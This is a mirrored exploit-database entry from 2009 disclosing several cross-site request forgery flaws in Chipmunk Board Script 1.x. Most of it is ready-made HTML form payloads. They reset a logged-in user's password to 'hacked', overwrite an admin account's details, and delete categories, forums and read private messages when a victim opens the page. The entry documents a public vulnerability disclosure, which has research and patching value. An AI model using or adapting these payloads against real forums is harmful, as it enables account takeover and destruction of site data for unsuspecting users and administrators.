Exploit Chipmunk Board Script 1.x - Multiple Cross-Site Request Forgery Vulnerabilities

[Exploiter]

EDB-ID

10419

Проверка EDB

1. Пройдено

Автор

MILOS ZIVANOVIC

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-12-13

[-------------------------------------------------------------------------------------------------]
[   Title: Chipmunk Board Script 1.x Multiple XSRF Vulnerabilities                                ]
[   Author: Milos Zivanovic                                                                       ]
[   Email: milosz.security[at]gmail.com<http://gmail.com>                                                           ]
[   Date: 11. December 2009.                                                                      ]
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[   Application: Chipmunk Board Script                                                            ]
[   Version: 1.X                                                                                  ]
[   Download: http://www.chipmunk-scripts.com/chipmunkcms/chipmunkcms.zip                         ]
[   Vulnerability: Cross Site Request Forgery                                                     ]
[-------------------------------------------------------------------------------------------------]

I installed this board script locally and started looking, it didn't take much to notice first
vulnerability. I found many vulnerabilities that could be exploited via cross site request forgery
method, but i'm only going to show you more important ones.

This board script doesn't have any XSRF protection thus allowing us to do many things we shouldn't
:)

[#]Content
 |--Change user settings (usercp)
 |--Change user settings (admincp)
 |--Delete category
 |--Delete forum
 |--Delete read private messages

Every exploit that has

[*]Change user settings (usercp)

This exploit will change this info for every user that opens it and is logged in.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/cboard/usercp.php" method="POST">
  <input type='hidden' name='username' value=''>
  <input type='password' name='password' value='hacked'>
  <input type='password' name='password2' value='hacked'>
  <input type='hidden' name='usepm' value='1'>
  <input type='text' name='email' value='[email protected]<mailto:[email protected]>'>
  <input type='text' name='location' value='Moon'>
  <input type='text' name='aim' value='AIM:...'>
  <input type='text' name='icq' value='ICQ:...'>
  <input type='hidden' name='showprofile' value='1'>
  <input type='hidden' name='avatar' value=''>
  <input type='hidden' name='forumtemplate' value='1'>
  <textarea name='signature'>Free your mind and the ass will follow.&lt;/textarea&gt;
  <input type='submit' name='submit' value='change details'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[*]Change user settings (admincp)

Note: Change [ID] to the id of the forum admin.
(you can view that by viewing his profile on the forum, usually 1-2)
Admins must run this exploit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/cboard/admin/edituser.php" method="POST">
  <input type='hidden' name='userid' value='[ID]'>
  <input type='text' name='username' value='admin'>
  <input type='password' name='password' value='hacked'>
  <input type='hidden' name='userstatus' value='4'>
  <input type='text' name='email' value='[email protected]<mailto:[email protected]>'>
  <input type='text' name='rank' value='0'>
  <input type='hidden' name='isbanned' value='No'>
  <textarea name='sig'>this is my signature&lt;/textarea&gt;
  <input type='submit' name='submit' value='Edit This user'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]Delete category

Note: Change [ID] to the id of the category you want to delete.
Admins must run this exploit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/cboard/admin/deletecat.php?categoryid=[ID]" method="POST">
  <input type='hidden' name='catid' value='[ID]'>
  <input type='submit' name='submit' value='Delete This Forum'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]Delete forum

Note: Change [ID] to the id of the forum you want to delete.
Admins must run this exploit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/cboard/admin/deleteforum.php?ID=[ID]" method="POST">
  <input type='hidden' name='ID' value='[ID]'>
  <input type='submit' name='submit' value='Delete This Forum'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]Delete read private messages

This exploit will delete read private messages for every user that opens it and is logged in.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/cboard/pm/deleteread.php" method="POST">
  <input type='submit' name='submit' value='delete'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

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[                                              EOF                                                ]
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